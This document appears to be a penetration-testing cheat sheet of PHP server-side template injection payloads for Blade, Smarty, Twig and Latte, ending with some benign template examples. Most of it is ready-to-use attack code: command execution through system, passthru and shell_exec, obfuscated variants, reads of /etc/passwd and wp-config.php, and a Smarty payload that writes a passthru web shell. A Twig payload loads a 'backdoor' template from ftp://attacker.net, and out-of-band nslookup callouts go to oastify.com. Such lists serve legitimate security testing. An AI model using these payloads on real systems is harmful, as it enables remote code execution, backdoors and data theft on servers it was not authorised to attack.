128 Payloads

Server Side Template Injection Payloads & Testing Methodology

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."

Server Side Template Injection - PHP#

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.

Summary#

Templating Libraries#

Template NamePayload Format
Blade (Laravel){{ }}
Latte{ }
Mustache{{ }}
Plates<?= ?>
Smarty{ }
Twig{{ }}

Universal Payloads#

Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.

To use these payloads, wrap them in the appropriate tag.

php14 lines
// Rendered RCE
shell_exec('id')
system('id')

// Error-Based RCE
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
call_user_func(join("", ["xx", shell_exec('id')]))

// Boolean-Based RCE
1 / (pclose(popen("id", "wb")) == 0)

// Time-Based RCE
shell_exec('id && sleep 5')
system('id && sleep 5')

Blade#

Universal payloads also work for Blade.

Official website

Blade is the simple, yet powerful templating engine that is included with Laravel.

The string id is generated with {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}.

php1 line
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

---

Smarty#

Universal payloads also work for Smarty before v5.

Official website

Smarty is a template engine for PHP.
php5 lines
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3, deprecated in v5
{system('cat index.php')} // compatible v3, deprecated in v5

Smarty - Code Execution with Obfuscation#

By employing the variable modifier cat, individual characters are concatenated to form the string "id" as follows: {chr(105)|cat:chr(100)}.

Execute system comman (command: id):

php1 line
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

---

Twig#

Official website

Twig is a modern template engine for PHP.

Twig - Basic Injection#

php5 lines
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}

Twig - Template Format#

php9 lines
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Twig - Arbitrary File Reading#

php2 lines
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}

Twig - Code Execution#

php22 lines
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}

{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0

With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:

php1 line
{{ {'id':'shell_exec'}|map('call_user_func')|join }}

Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)

python1 line
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

Example with an email passing FILTER_VALIDATE_EMAIL PHP.

powershell2 lines
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Twig - Code Execution with Obfuscation#

Twig's block feature and built-in _charset variable can be nesting can be used to produced the payload (command: id)

twig1 line
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

The following payload, which harnesses the built-in _context variable, also achieves RCE – provided that the template engine performs a double-rendering process:

twig1 line
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

---

Latte#

Universal payloads also work for Latte.

Latte - Basic Injection#

php1 line
{var $X="POC"}{$X}

Latte - Code Execution#

php1 line
{php system('nslookup oastify.com')}

---

patTemplate#

patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
xml9 lines
<patTemplate:tmpl name="page">
  This is the main page.
  <patTemplate:tmpl name="foo">
    It contains another template.
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    Hello {NAME}.<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

---

PHPlib and HTML_Template_PHPLIB#

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.

authors.tpl

html19 lines
<html>
 <head><title>{PAGE_TITLE}</title></head>
 <body>
  <table>
   <caption>Authors</caption>
   <thead>
    <tr><th>Name</th><th>Email</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>

authors.php

php29 lines
<?php
//we want to display this author list
$authors = array(
    'Christian Weiske'  => 'cweiske@php.net',
    'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables

---

Plates#

Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.

controller:

php5 lines
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

page template:

php4 lines
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template:

php8 lines
<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

References#